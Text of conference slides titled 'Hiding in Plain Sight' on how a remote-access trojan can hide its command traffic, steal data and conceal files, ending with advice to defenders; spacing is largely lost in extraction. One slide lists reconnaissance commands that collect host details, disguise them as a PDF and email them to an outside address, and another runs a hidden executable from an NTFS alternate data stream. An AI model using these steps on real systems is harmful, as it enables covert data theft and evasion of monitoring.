HidinginPlainSight
Presentedby /RobGillen @argodev
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Disclaimer
Thecontentofthispresentationrepresentsmypersonalviews
andthoughtsatthepresenttime.Ireservetherighttochange
myviewsandopinionsatanytime.Thiscontentisnotendorsed
by,orrepresentativeinanywayofmyemployernorisit
intendedtobeaviewintomyworkorareflectiononthetype
ofworkthatIormygroupperforms.Itissimplyahobbyand
personalinterestandshouldbeconsideredassuch.
HTDCS
HelpdeskTicketDrivenCyberSecurity
Overview
RATDesign
Encryption
Command/Control(C2)
AntiVirus
Behavior
RATDesign
Exeisdroppedviainfectedpage
Querieswebpageforcommands
Performscommandsifnotdonepreviously
Periodicallypollsfornewcommands
Encryption
ComplexEncryptionistrivial
PBKDF–Scryptsequentialmemory-hardfunction
Manyiterations(>10K)
Longkey-lengths
EncryptionExample
Aboveconfigurationiscustom-hardwareresistant
Takesapproximately¼secondperguess
Command/Control
UseWeb2CApproach
Commandsare“issued”enmassevianormal,benignlooking
webpages
Commonports
LeveragesexistingHTML/serverconstructs
CommandText
ipconfig /all > %APPDATA%info.txt
net start >> %APPDATA%info.txt
tasklist /v >> %APPDATA%info.txt
net user >> %APPDATA%info.txt
net localgroup administrators >> %APPDATA%info.txt
netstat -ano >> %APPDATA%info.txt
net use >> %APPDATA%info.txt
copy %APPDATA%info.txt %APPDATA%output.pdf
del %APPDATA%info.txt
sendmail %APPDATA%output.pdf Status Update
“Jones, William E. wejones@yourorg.gov”
itebaffe-836@yopmail.com smtp.yourorg.gov
del %APPDATA%output.pdf
MimicUserBehavior
TrafficRates
Monitorincoming/outgoingnetworktrafficforXdays
ConfigurexfiltostaywithinX%of“normal”
C2
Exponential/randomizedstand-down
Onlycommduringperiodsofactivity
MimicUserBehavior
TargetURLs
Monitoroutgoingwebqueries/URLsforXdays
Usesimilardomainnamesformalicioustraffic
Appendsimilar/samequerystringstomaliciousrequests
HidinginLogs
v-client-5b.sjc.dropbox.com
snt-re3-9a.sjc.dropbox.com
yn-in-f125.1e100.net
l1.ycs.vip.dcb.yahoo.com
snt-re3-9a.sjc.drpbox.com
ip-69-31-29-228.nlayer.net
a23-47-20-211.deploy.static.akamaitechnologies.com
l3.ycs.vip.dcb.yahoo.com
ir2.fp.vip.bf1.yahoo.com
www.nbcnews.com.edgesuite.net
wac.946A.edgecastcdn.net
a2.twimg.com
OtherHidingTechniques
OfficeFilecontentembedding
Creativelocation
AlternateDataStreams
LeastSignificantBit
NetworkProtocolManipulation
CreativeFileLocations
AlternateDataStreams
FeatureofNTFSsinceNT3.5.1
Usedformetadataandcompatibilitywithotherfilesystems
SoWhat?
#notepad pcast-nitrd-report-2010.pdf:secret.txt
Whataboutthis?
#type evil.exe > notepad.exe:evil.exe
#start notepad.exe:evil.exe
CrudeImageStego:LSB
LeastSignificantBit–alteritandencodemessageacross
LSBthroughvariousbytes
Visuallyimperceptible
Computationallychallengingtodetect
Encryptionalsoanoption
LSB:HowItWorks
CarrierImage
ImageData:
Size:2.1MB
Dimensions:
3500x2343px
Resolution:300dpi
BitDepth:24
~8Megapixel
“Secret”Message:
Welcome!Remember,
thingsaren’talways
whattheyseem.
LSBBlowUp
NetworkProtocolAbuse
Challengesof
Signature-BasedTools
NextSteps
Knowwhatyoucanandcan’tsee
Considerimplicationsofyourmonitoringstrategy
Behavior*must*playarole
Questions/Contact
RobGillen
rob@gillenfamily.net
http://rob.gillenfamily.net
@argodev
Thistalkandrelatedresourcesareavailableonline:
https://github.com/argodev/talks/

CodeStock14: Hiding in Plain Sight